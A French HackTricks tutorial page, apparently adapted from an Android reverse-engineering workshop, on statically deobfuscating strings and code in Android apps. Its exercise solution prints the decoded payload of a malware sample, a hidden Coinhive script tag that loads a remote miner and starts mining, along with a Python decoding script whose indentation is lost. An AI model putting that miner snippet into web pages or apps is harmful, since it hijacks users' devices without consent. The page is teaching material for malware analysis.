hacktricks/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md

10 KiB

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Copié depuis https://maddiestone.github.io/AndroidAppRE/obfuscation.html (vous pouvez trouver des solutions là-bas)

Logo

Il y a de nombreuses fois où l'application que vous analysez ne sera pas aussi claire que certains des exemples que nous avons discutés. Le développeur mettra en œuvre une ou plusieurs techniques d'obfuscation pour cacher le comportement et/ou l'implémentation de leur application. Cela peut être pour des raisons à la fois bénignes et malveillantes.

L'essentiel à retenir sur l'obfuscation est que si vous souhaitez la désobfusquer, vous le pourrez. La décision clé n'est pas de savoir si vous pouvez ou non, mais si cela vaut les ressources pour désobfusquer.

La raison pour laquelle vous pouvez toujours désobfusquer quelque chose est que, en fin de compte, le CPU doit à un moment donné voir le code non obfusqué afin de l'exécuter.

Comment Désobfusquer

La manière dont vous choisissez de désobfusquer l'application dépendra de la méthode d'obfuscation, mais il existe quelques techniques courantes qui fonctionnent généralement bien. Ici, nous ne parlerons que des techniques de désobfuscation statiques puisque cet atelier ne couvre que l'analyse/reverse statique. Cependant, n'oubliez pas que l'exécution de l'application et son analyse dynamique peuvent être un autre excellent moyen de contourner l'obfuscation.

Pour l'obfuscation dans le bytecode DEX (Java), l'un des moyens les plus simples de désobfusquer statiquement est d'identifier les méthodes de désobfuscation dans l'application et de copier leur décompilation dans un fichier Java que vous exécutez ensuite sur le fichier, les chaînes, le code, etc. obfusqués.

Une autre solution pour le code Java et Natif est de translittérer l'algorithme de désobfuscation en Python ou tout autre langage de script avec lequel vous êtes le plus à l'aise. Je dis "translittérer" car il est important de se rappeler que vous n'avez pas toujours besoin de comprendre l'algorithme de désobfuscation, vous avez juste besoin d'un moyen de l'exécuter. Je couvre cela plus en détail dans la conférence "Unpacking the Packed Unpacker" qui est liée dans la section "Plus d'exemples".

Indicateurs d'Obfuscation

Il existe de nombreux types différents d'obfuscation et donc, tout autant de types d'indicateurs pour alerter l'analyste qu'une application est probablement obfusquée, mais voici quelques exemples avec des solutions d'analyse statique proposées pour désobfusquer.

  • Pas de chaînes : Java et Android dépendent fortement des chaînes de caractères donc si vous n'en voyez aucune ou seulement des chaînes brouillées, il est très probable que les chaînes soient obfusquées.
  • Solution suggérée : Cherchez les appels de méthode qui prennent des chaînes comme argument et remontez d'où vient cet argument. À un moment donné, l'argument de la chaîne passera par une méthode de désobfuscation avant d'être transmis à l'API qui prend l'argument String.
  • Chaînes brouillées : Les API Java et Android nécessitent les chaînes en texte clair, pas brouillées.
  • Solution suggérée : Les chaînes brouillées sont toutes probablement passées aux mêmes méthodes avant d'être transmises aux API. Ces méthodes sont probablement les méthodes de désobfuscation.
  • Fichiers binaires dans le répertoire assets/ et appels à DexClassLoader dans l'application : Probablement déballage et chargement de code supplémentaire. (Peut également être téléchargement depuis un emplacement distant puis chargement à l'aide de DexClassLoader)
  • Solution suggérée : Identifiez où le fichier est lu puis suivez le chemin. Il est probablement désobfusqué peu après avoir été lu.
  • Bibliothèques natives - Impossible d'identifier les fonctions JNI (pas de fonctions nommées Java_ et pas d'appels à RegisterNatives) : Pour exécuter des méthodes natives, JNI doit pouvoir associer la fonction dans la bibliothèque native avec la déclaration de méthode native en Java et donc l'un des deux doit exister à un moment donné.
  • Solution suggérée : Commencez par la méthode JNI_OnLoad et cherchez une routine de désobfuscation qui charge du code supplémentaire.

Exercice 7 - Désobfuscation de Chaînes

Dans cet exercice, nous allons pratiquer la désobfuscation de chaînes afin d'analyser une application. Pour l'exercice, nous utiliserons l'échantillon à ~/samples/ClashOfLights.apk dans la VM. Cet échantillon a le digest SHA256 c403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5.

Objectifs

Identifier les chaînes obfusquées et développer une solution pour les désobfusquer.

Contexte de l'Exercice

Vous êtes un analyste de logiciels malveillants examinant cette application pour déterminer si c'est un logiciel malveillant. Vous tombez sur une chaîne Javascript obfusquée qui est chargée et devez la désobfusquer pour déterminer si l'application est malveillante ou non. Vous ne pouvez pas exécuter l'application de manière dynamique et devez déterminer ce que le Javascript est statiquement.

Instructions

  1. Trouvez la chaîne que vous devez désobfusquer
  2. Identifiez la routine qui la désobfusque.
  3. Déterminez comment vous souhaitez écrire une solution pour désobfusquer la chaîne.
  4. Faites-le :)

Solution

La chaîne désobfusquée est :

<script src="https://coinhive.com/lib/coinhive.min.js"></script><script>var miner = new CoinHive.Anonymous('nf24ZwEMmu0m1X6MgcOv48AMsIYErpFE', {threads: 2});miner.start();</script>

Le script Python que j'ai écrit pour le désobfusquer est :

enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"

length = len(enc_str)
count = 0
dec_str = [0] * (length/2)
while (count < length):
dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
count += 2
print dec_str


key = [75, 67, 81, 82, 49, 57, 84, 90]
enc_str = dec_str
count = 0
length = len(enc_str)
while (count < length):
dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])
count += 1
print ''.join(dec_str)

Plus d'exemples

J'ai donné plusieurs conférences sur la désobfuscation d'applications Android qui incluent une variété de mécanismes d'obfuscation. Dans ces conférences, je discute des techniques d'obfuscation avancées, de ma solution pour les désobfusquer, et des considérations et choix que j'ai faits en décidant comment je voulais désobfusquer.

  • BlackHat USA 2018 : "Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library" [vidéo]
  • Cette conférence aborde le reverse engineering de l'une des bibliothèques natives anti-analyse les plus complexes que j'ai vues utilisées par une application Android. Elle couvre principalement les techniques d'obfuscation dans le code natif.
  • REcon 2019 : "The Path to the Payload: Android Edition" [vidéo]
  • Cette conférence discute d'une série de techniques d'obfuscation, uniquement dans le code Java, qu'un botnet Android utilisait pour cacher son comportement.
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :